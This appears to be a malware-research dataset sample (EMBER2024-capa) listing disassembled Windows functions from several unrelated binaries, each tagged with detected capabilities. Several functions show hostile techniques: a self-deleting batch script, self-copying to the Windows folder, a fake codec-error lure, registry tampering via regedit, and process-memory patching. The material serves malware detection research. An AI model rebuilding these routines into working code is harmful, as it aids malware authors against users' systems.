joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10010bf0
Capabilities:
Create thread

Disassembly:
cmp dword [esp + 8], 1
jne 0x10010c62
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0xc]
test esi, esi
mov dword [0x100270fc], edi
je 0x10010c28
push 1
push esi
call dword [sym.imp.KERNEL32.DLL_IsBadReadPtr]
test eax, eax
jne 0x10010c28
mov eax, dword [esi]
mov dword [0x10027194], eax
mov ecx, dword [esi + 4]
mov dword [0x10027190], ecx
push edi
call dword [sym.imp.KERNEL32.DLL_DisableThreadLibraryCalls]
push 0
push 0
push 0x1000edb0
mov dword [0x1002712c], 0
call fcn.10013ab1
push 0
push 0
push 0x10010b10
call fcn.10013ab1
add esp, 0x18
mov eax, 1
pop edi
pop esi
ret 0xc
mov eax, 1
ret 0xc
Function at 0x40111a
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd4
and dword [ebp - 4], 0
and dword [ebp - 0xc], 0
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push edi
mov dword [ebp - 8], 0x64
call esi
push 0x14
xor edx, edx
pop ecx
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
div ecx
push edx
call edi
lea eax, [ebp - 0x70]
push 0x64
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xd4]
push 0x64
push eax
push 0x40b068
call dword [sym.imp.KERNEL32.DLL_GetVolumeInformationA]
call esi
push 0x14
xor edx, edx
pop ecx
div ecx
push edx
call edi
mov eax, dword [ebp - 4]
pop edi
pop esi
leave
ret

Function at 0x401185
Capabilities:
Move file
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x232c
call fcn.00407940
push ebx
push esi
push edi
lea eax, [ebp - 0x7d4]
push 0x3e8
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov byte [ebp + eax - 0x7d4], bl
lea eax, [ebp - 0x3ec]
push eax
lea eax, [ebp - 0x7d4]
push eax
call dword [sym.imp.USER32.dll_CharToOemA]
call dword [sym.imp.KERNEL32.DLL_GetVersion]
test eax, 0x80000000
push ebx
je 0x401202
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x3ec]
push 0
push 0
push eax
push dword [sym.imp.KERNEL32.DLL_ExitProcess]
push dword [ebp - 4]
push dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push dword [sym.imp.KERNEL32.DLL_FreeLibrary]
ret
push 0x80
push 2
push ebx
push ebx
mov esi, str.c:6566543.bat
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4012ac
lea eax, [ebp - 0x3ec]
push esi
push eax
lea eax, [ebp - 0x3ec]
push str.if_exist
push eax
push str.:YY1
lea eax, [ebp - 0x232c]
push str._s__n_del___s___n__s___s__goto_YY1__n_del___s_
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x1c
lea eax, [ebp - 4]
push ebx
push eax
lea eax, [ebp - 0x232c]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x232c]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 1
call edi
push ebx
push esi
call fcn.004012cd
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
and eax, 3
push eax
call edi
push 4
lea eax, [ebp - 0x3ec]
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileExA]
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push eax
push ebx
push 0x11
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
cmp eax, ebx
je 0x4012c8
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4012cd
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push 0x44
xor ebx, ebx
pop esi
lea eax, [ebp - 0x54]
push esi
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x10]
push ebx
push eax
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], bx
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x401341
cmp byte [ebp + 0xc], bl
je 0x401331
push 0x2710
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
pop esi
pop ebx
leave
ret
Function at 0x401921
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push 0
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x40193f
test byte [ebp - 4], 7
je 0x40193f
mov al, 1
leave
ret
xor al, al
leave
ret
Function at 0x40266e
Capabilities:
Check if file exists

Disassembly:
push esi
mov esi, str.c:windows_fmark2.dat
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x4026bc
push 0x30
push str.Error
push str.Error_installing_Codec._Please_contact_support
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x40b16c
push esi
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
pop ecx
test esi, esi
pop ecx
je 0x4026bc
push 0x40b198
push esi
call dword [sym.imp.MSVCRT.dll_fprintf]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0xc
pop esi
ret

Function at 0x4026f7
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push ebx
push edi
lea eax, [ebp - 0x408]
push 0x3ff
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov edi, dword [sym.imp.MSVCRT.dll_fopen]
lea eax, [ebp - 0x408]
push 0x40b160
push eax
call edi
mov ebx, eax
pop ecx
test ebx, ebx
pop ecx
je 0x4027a9
push esi
mov esi, dword [sym.imp.MSVCRT.dll_fseek]
push 2
push 0
push ebx
call esi
push ebx
call dword [sym.imp.MSVCRT.dll_ftell]
push 0
push 0
push ebx
mov dword [ebp - 4], eax
call esi
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_malloc]
push ebx
mov dword [ebp - 8], eax
push dword [ebp - 4]
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fread]
push 0x40b16c
push str.c:windowskenny18.exe
call edi
mov edi, dword [sym.imp.MSVCRT.dll_fclose]
mov esi, eax
add esp, 0x38
test esi, esi
je 0x40279a
push esi
push dword [ebp - 4]
push 1
push dword [ebp - 8]
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call edi
add esp, 0x14
push dword [ebp - 8]
call dword [sym.imp.MSVCRT.dll_free]
push ebx
call edi
pop ecx
pop ecx
pop esi
pop edi
pop ebx
leave
ret
Function at 0x402adc
Capabilities:
Parse url
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xca8
push ebx
or dword [ebp - 8], 0xffffffff
push esi
push edi
mov edi, 0x3ff
xor esi, esi
push edi
lea eax, [ebp - 0x8a8]
push esi
push eax
call sub.MSVCRT.dll_memset
push edi
lea eax, [ebp - 0x4a8]
push esi
push eax
call sub.MSVCRT.dll_memset
push 0x63
lea eax, [ebp - 0xa8]
pop ebx
push ebx
push esi
push eax
call sub.MSVCRT.dll_memset
push 0x3c
lea eax, [ebp - 0x44]
pop edi
push edi
push esi
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x8a8]
add esp, 0x30
mov dword [ebp - 0x18], eax
mov eax, 0x3e7
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xa8]
lea ecx, [ebp - 0x4a8]
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x44]
push eax
push esi
push dword [ebp + 0xc]
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x30], ebx
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push dword [ebp + 0xc]
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
push dword [ebp - 0x10]
lea eax, [ebp - 0xca8]
push dword [ebp - 0x18]
push 0x40b46c
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
push 0x7a120
call dword [sym.imp.MSVCRT.dll_malloc]
mov edi, eax
push 0x7a11f
push esi
push edi
call sub.MSVCRT.dll_memset
lea eax, [ebp - 4]
push 0x40b410
push eax
lea eax, [ebp - 0xca8]
push edi
push eax
push esi
push 0x40bd84
push dword [ebp - 0x34]
mov dword [ebp - 4], esi
call fcn.00401345
add esp, 0x3c
cmp dword [ebp - 4], esi
jbe 0x402c34
push str._r_n_r_n
push edi
call dword [sym.imp.MSVCRT.dll_strstr]
mov ebx, eax
pop ecx
cmp ebx, esi
pop ecx
je 0x402c34
add ebx, 4
push 2
push 0x40b460
push ebx
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
jne 0x402c34
push 0x40b16c
push dword [ebp + 0x10]
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
cmp eax, esi
pop ecx
mov dword [ebp + 0xc], eax
je 0x402c34
push eax
mov eax, dword [ebp - 4]
sub eax, ebx
push 1
add eax, edi
push eax
push ebx
call dword [sym.imp.MSVCRT.dll_fwrite]
push dword [ebp + 0xc]
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
mov dword [ebp - 8], esi
push edi
call dword [sym.imp.MSVCRT.dll_free]
mov eax, dword [ebp - 8]
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402d7f
Capabilities:
Create process on windows
Delete file
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x13dc
call fcn.00407940
push ebx
push esi
push edi
lea eax, [ebp - 0x13dc]
push str.Windows_Registry_Editor_Version_5.00_n_n_HKEY_CLASSES_ROOTMimeDatabaseContent_Type_application_xhtmlxml__n_CLSID__25336920_03F9_11cf_8FD0_00AA00686F13__n_Extension__.xml__n_Encoding_hex:08_00_00_00_n
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
mov edi, str.c:1.reg
push 0x40b16c
push edi
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
xor esi, esi
add esp, 0x10
cmp ebx, esi
je 0x402e35
lea eax, [ebp - 0x13dc]
push ebx
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x13dc]
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
push 0x44
lea eax, [ebp - 0x54]
pop ebx
push ebx
push esi
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x10]
push esi
push eax
mov dword [ebp - 0x54], ebx
call sub.MSVCRT.dll_memset
add esp, 0x2c
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push str.regedit__s_c:1.reg
push esi
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x402e2e
push 0x2710
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403110
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0
push ebx
push esi
mov esi, ecx
push edi
push 0
mov dword [esi], 0x409238
call dword [sym.imp.ole32.dll_CoInitialize]
mov edi, 0x40bd84
lea ebx, [esi + 4]
push edi
push ebx
call sub.MSVCRT.dll_strcpy
lea eax, [esi + 0x404]
push edi
push eax
mov dword [ebp - 4], 1
call sub.MSVCRT.dll_strcpy
add esp, 0x10
lea eax, [ebp - 8]
mov dword [ebp - 8], 0xc8
push eax
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 4]
push eax
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
push SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
test eax, eax
jne 0x403190
lea eax, [ebp - 0xd0]
push eax
push ebx
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
lea edi, [esi + 0xc68]
push 0x63
push 0
push edi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, esi
push edi
call fcn.00405742
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403666
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64c
push ebx
push 0x40bd84
push dword [ebp + 0x10]
mov ebx, ecx
mov dword [ebp - 8], ebx
call sub.MSVCRT.dll_strcpy
push 0x104
lea eax, [ebp - 0x10c]
push 0
push eax
call sub.MSVCRT.dll_memset
add ebx, 4
push ebx
call sub.MSVCRT.dll_strlen
inc eax
push eax
lea eax, [ebp - 0x10c]
push ebx
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
push 5
lea eax, [ebp - 0x10c]
push str..
push eax
call dword [sym.imp.MSVCRT.dll_strncat]
add esp, 0x30
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x4036e5
xor al, al
jmp 0x40375c
push esi
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x220]
push edi
push eax
mov edi, str._s_s
push ebx
lea eax, [ebp - 0x64c]
push edi
push eax
call esi
add esp, 0x10
mov ecx, dword [ebp - 8]
lea eax, [ebp - 0x64c]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
call fcn.00404061
test al, al
je 0x403727
mov bl, 1
jmp 0x40374f
lea eax, [ebp - 0x24c]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
je 0x40374d
lea eax, [ebp - 0x220]
push eax
push ebx
lea eax, [ebp - 0x64c]
push edi
push eax
jmp 0x403702
xor bl, bl
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_FindClose]
pop edi
mov al, bl
pop esi
pop ebx
leave
ret 0xc

Function at 0x404061
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push ebx
push ebx
push 3
push ebx
push 1
push SysReAllocString
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x4040ef
push esi
push edi
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov esi, eax
lea eax, [esi + 3]
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov edi, eax
lea eax, [ebp - 4]
push ebx
push eax
push esi
push edi
mov dword [ebp - 4], ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push dword [ebp + 0xc]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
push edi
call esi
pop ecx
test eax, eax
pop ecx
je 0x4040dc
push dword [ebp + 0x10]
push edi
call esi
pop ecx
test eax, eax
pop ecx
je 0x4040dc
push edi
push dword [ebp + 0x14]
call sub.MSVCRT.dll_strcpy
pop ecx
mov bl, 1
pop ecx
push edi
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
mov al, bl
pop ebx
leave
ret 0x10
Function at 0x404d67
Capabilities:
Get graphical window text

Disassembly:
mov eax, 0x407dc8
call fcn.00407910
sub esp, 0x444
and byte [ebp - 0xd], 0
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x404f22
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push 0xa
xor edx, edx
pop ecx
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
div ecx
push edx
call esi
xor eax, eax
lea edi, [ebp - 0x46]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0x60], 0
mov word [ebp - 0x68], 3
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor edi, edi
mov word [ebp - 0x48], 3
mov dword [ebp - 0x40], edi
mov word [ebp - 0x38], 3
mov dword [ebp - 0x30], edi
mov eax, dword [ebx]
lea ecx, [ebp + 0xa]
push ecx
push ebx
mov dword [ebp - 4], edi
call dword [eax + 0xe4]
mov eax, dword [ebx]
push edi
push ebx
call dword [eax + 0xe8]
mov eax, dword [ebx]
lea ecx, [ebp - 0x18]
push ecx
push ebx
mov dword [ebp - 0x18], edi
call dword [eax + 0x94]
mov edi, dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [ebp - 0x450]
push 0x3e7
push eax
push dword [ebp - 0x18]
call dword [sym.imp.USER32.dll_GetWindowTextA]
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
lea eax, [ebp - 0x450]
push 0x40b5d8
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
jne 0x404f16
lea eax, [ebp - 0x450]
push 0x40b5d4
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
jne 0x404f16
and word [ebp - 0x58], ax
push str._self
lea ecx, [ebp - 0x58]
call fcn.0040308f
push dword [ebp + 0xc]
and word [ebp - 0x28], 0
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 1
call fcn.0040308f
lea ecx, [ebp - 0x38]
mov eax, dword [ebx]
push ecx
lea ecx, [ebp - 0x48]
push ecx
lea ecx, [ebp - 0x58]
push ecx
lea ecx, [ebp - 0x68]
push ecx
lea ecx, [ebp - 0x28]
push ecx
push ebx
mov byte [ebp - 4], 2
call dword [eax + 0xd0]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
and byte [ebp - 4], 0
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
call edi
push 0xa
xor edx, edx
pop ecx
div ecx
push edx
call esi
or dword [ebp - 0x14], 0xffffffff
xor edi, edi
push 0x1f4
call esi
mov eax, dword [ebx]
lea ecx, [ebp - 0x14]
push ecx
push ebx
call dword [eax + 0x7c]
cmp word [ebp - 0x14], 0
jne 0x404efe
mov eax, dword [ebx]
lea ecx, [ebp + 0xc]
push ecx
push ebx
call dword [eax + 0xe0]
cmp dword [ebp + 0xc], 4
je 0x404efe
mov dword [ebp - 0x14], 1
inc edi
cmp edi, 0x46
jg 0x404f0b
cmp word [ebp - 0x14], 0
jne 0x404ecc
push 0x12c
mov byte [ebp - 0xd], 1
call esi
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
pop edi
pop esi
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp - 0xd]
pop ebx
mov dword fs:[0], ecx
leave
ret 8
Function at 0x71b38106
Capabilities:
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov edx, 0x1505
movzx ecx, word [esi]
test ecx, ecx
jne 0x71b38138
mov eax, dword [ebp + 0x10]
movzx ecx, dl
mov edx, ecx
and ecx, 0x1f
shr edx, 5
mov dword [eax], edx
xor edx, edx
mov eax, dword [ebp + 0x14]
inc edx
shl edx, cl
pop esi
mov dword [eax], edx
pop ebp
ret 0x10
lea eax, [ecx - 0x61]
cmp eax, 0x19
ja 0x71b38146
and ecx, 0xffffffdf
imul edx, edx, 0x21
xor edx, ecx
add esi, 2
jmp 0x71b38112
Function at 0x10005780
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
xor ebp, ebp
push ebp
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp eax, ebp
mov dword [esp + 0x14], eax
je 0x10005867
mov ebx, dword [esp + 0x2c]
lea edi, [ebx + 5]
push edi
mov dword [esp + 0x14], ebp
mov dword [esp + 0x1c], ebp
call fcn.1003ff8b
add esp, 4
cmp ebx, ebp
mov esi, eax
jne 0x100057e2
mov ecx, dword [esp + 0x28]
mov ebx, dword [esp + 0x24]
xor eax, eax
mov dword [esi], eax
mov al, byte [esp + 0x20]
sub ecx, ebx
sub ecx, 5
mov byte [esi], al
mov dword [esi + 1], ecx
jmp 0x1000581d
push edi
push ebp
push esi
call fcn.1003f3d0
mov eax, dword [esp + 0x34]
mov ebx, dword [esp + 0x30]
mov dl, byte [esp + 0x2c]
sub eax, ebx
sub eax, 5
add esp, 0xc
cmp edi, 5
mov byte [esi], dl
mov dword [esi + 1], eax
jle 0x1000581d
lea ecx, [edi - 5]
push ecx
lea eax, [esi + 5]
push 0x90
push eax
call fcn.1003f3d0
add esp, 0xc
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea edx, [esp + 0x10]
push edx
push 0x40
push edi
push ebx
call ebp
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x18]
push eax
push edi
push esi
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1000584c
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x10]
push edx
push eax
push edi
push ebx
call ebp
push esi
call fcn.1003ff86
mov eax, dword [esp + 0x18]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x10005db0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
sub esp, 8
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 2
call esi
or eax, 2
push eax
call esi
push str.GlobalCacheD
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x1007ecd8], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x10005e01
push 0
push str.Interlude_Extension
push str.CacheD_is_already_running_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1007ecc0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 4
lea eax, [esp + 0xc]
push eax
push 0x513fb8
mov dword [esp + 0x14], 0x10005f70
call fcn.10005ab0
push 1
push 0x10006000
push 0x44121c
push 0xe8
call fcn.10005780
push 4
lea ecx, [esp + 0x28]
push ecx
mov esi, 0x13880
push 0x441229
mov dword [esp + 0x30], esi
call fcn.10005ab0
push 4
lea edx, [esp + 0x34]
push edx
push 0x43d780
mov dword [esp + 0x3c], esi
call fcn.10005ab0
push 4
lea eax, [esp + 0x40]
push eax
push 0x43d8b1
mov dword [esp + 0x48], esi
call fcn.10005ab0
add esp, 0x40
push 4
lea ecx, [esp + 0xc]
push ecx
push 0x423171
mov dword [esp + 0x14], 0x100058c0
call fcn.10005ab0
push 1
lea edx, [esp + 0x14]
push edx
push 0x44fe60
mov byte [esp + 0x1c], 0xeb
call fcn.10005ab0
push 1
lea eax, [esp + 0x20]
push eax
push 0x44fefd
mov byte [esp + 0x28], 0xeb
call fcn.10005ab0
push 0
push 0x10005960
push 0x4416a1
push 0xe8
call fcn.10005780
push 0
push 0x10005960
push 0x441705
push 0xe8
call fcn.10005780
add esp, 0x44
push 0
push 0x100059f0
push 0x424e48
push 0xe8
call fcn.10005780
push str.LinErrBak
call fcn.1003e210
call fcn.1003baa0
call fcn.10003fd0
call fcn.100066a0
call fcn.1000f0f0
call fcn.1003b570
call fcn.1003cb70
push 0xffffffffffffffe8
push 0
push 0x10005a80
push 0x4475f6
call fcn.1003dec0
push 1
push 0x10005880
push 0x422c67
push 0xe8
call fcn.10005780
add esp, 0x34
pop esi
add esp, 8
ret

Function at 0x10006050
Capabilities:
Get common file path
Read .ini file

Disassembly:
sub esp, 0x20c
mov eax, dword [0x1007d930]
xor eax, esp
mov dword [esp + 0x208], eax
push esi
lea eax, [esp + 4]
push eax
push 0x104
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push str.l2cache.ini
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea edx, [esp + 4]
push edx
push 0
push str.PrivateStoreInDB
push str.Setting
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov ecx, dword [esp + 0x20c]
mov dword [esi], eax
pop esi
xor ecx, esp
call fcn.1003f012
add esp, 0x20c
ret
Function at 0x1000a600
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100555c8
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push esi
push edi
mov eax, dword [0x1007d930]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
push 0
lea ecx, [esp + 0x14]
call fcn.10053ef4
mov dword [esp + 0x28], 0
mov edi, dword [0x1007f0fc]
mov ecx, 0x1008012c
mov dword [esp + 0xc], edi
call fcn.100070f0
mov esi, eax
mov eax, dword [esp + 0x30]
mov eax, dword [eax]
cmp esi, dword [eax + 0xc]
jae 0x1000a67b
mov ecx, dword [eax + 8]
mov ecx, dword [ecx + esi*4]
test ecx, ecx
jne 0x1000a67f
cmp byte [eax + 0x14], 0
je 0x1000a67f
call fcn.10053f82
cmp esi, dword [eax + 0xc]
jae 0x1000a685
mov edx, dword [eax + 8]
mov esi, dword [edx + esi*4]
jmp 0x1000a681
xor ecx, ecx
jmp 0x1000a663
mov esi, ecx
test esi, esi
jne 0x1000a6d6
test edi, edi
je 0x1000a68d
mov esi, edi
jmp 0x1000a6d6
lea eax, [esp + 0xc]
push eax
call fcn.1000a360
add esp, 4
cmp eax, 0xffffffff
jne 0x1000a6bc
push str.bad_cast
lea ecx, [esp + 0x18]
call fcn.1003fc46
push 0x10075a98
lea ecx, [esp + 0x18]
push ecx
call fcn.1003fd96
mov esi, dword [esp + 0xc]
mov ecx, esi
mov dword [0x1007f0fc], esi
call fcn.10007170
push esi
call fcn.10054050
add esp, 4
mov dword [esp + 0x28], 0xffffffff
lea ecx, [esp + 0x10]
call fcn.10053f15
mov eax, esi
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x20
ret

Function at 0x1000b990
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100555c8
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push esi
push edi
mov eax, dword [0x1007d930]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
push 0
lea ecx, [esp + 0x14]
call fcn.10053ef4
mov dword [esp + 0x28], 0
mov edi, dword [0x1007f100]
mov ecx, 0x1007f10c
mov dword [esp + 0xc], edi
call fcn.100070f0
mov esi, eax
mov eax, dword [esp + 0x30]
mov eax, dword [eax]
cmp esi, dword [eax + 0xc]
jae 0x1000ba0b
mov ecx, dword [eax + 8]
mov ecx, dword [ecx + esi*4]
test ecx, ecx
jne 0x1000ba0f
cmp byte [eax + 0x14], 0
je 0x1000ba0f
call fcn.10053f82
cmp esi, dword [eax + 0xc]
jae 0x1000ba15
mov edx, dword [eax + 8]
mov esi, dword [edx + esi*4]
jmp 0x1000ba11
xor ecx, ecx
jmp 0x1000b9f3
mov esi, ecx
test esi, esi
jne 0x1000ba66
test edi, edi
je 0x1000ba1d
mov esi, edi
jmp 0x1000ba66
lea eax, [esp + 0xc]
push eax
call fcn.1000b730
add esp, 4
cmp eax, 0xffffffff
jne 0x1000ba4c
push str.bad_cast
lea ecx, [esp + 0x18]
call fcn.1003fc46
push 0x10075a98
lea ecx, [esp + 0x18]
push ecx
call fcn.1003fd96
mov esi, dword [esp + 0xc]
mov ecx, esi
mov dword [0x1007f100], esi
call fcn.10007170
push esi
call fcn.10054050
add esp, 4
mov dword [esp + 0x28], 0xffffffff
lea ecx, [esp + 0x10]
call fcn.10053f15
mov eax, esi
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x20
ret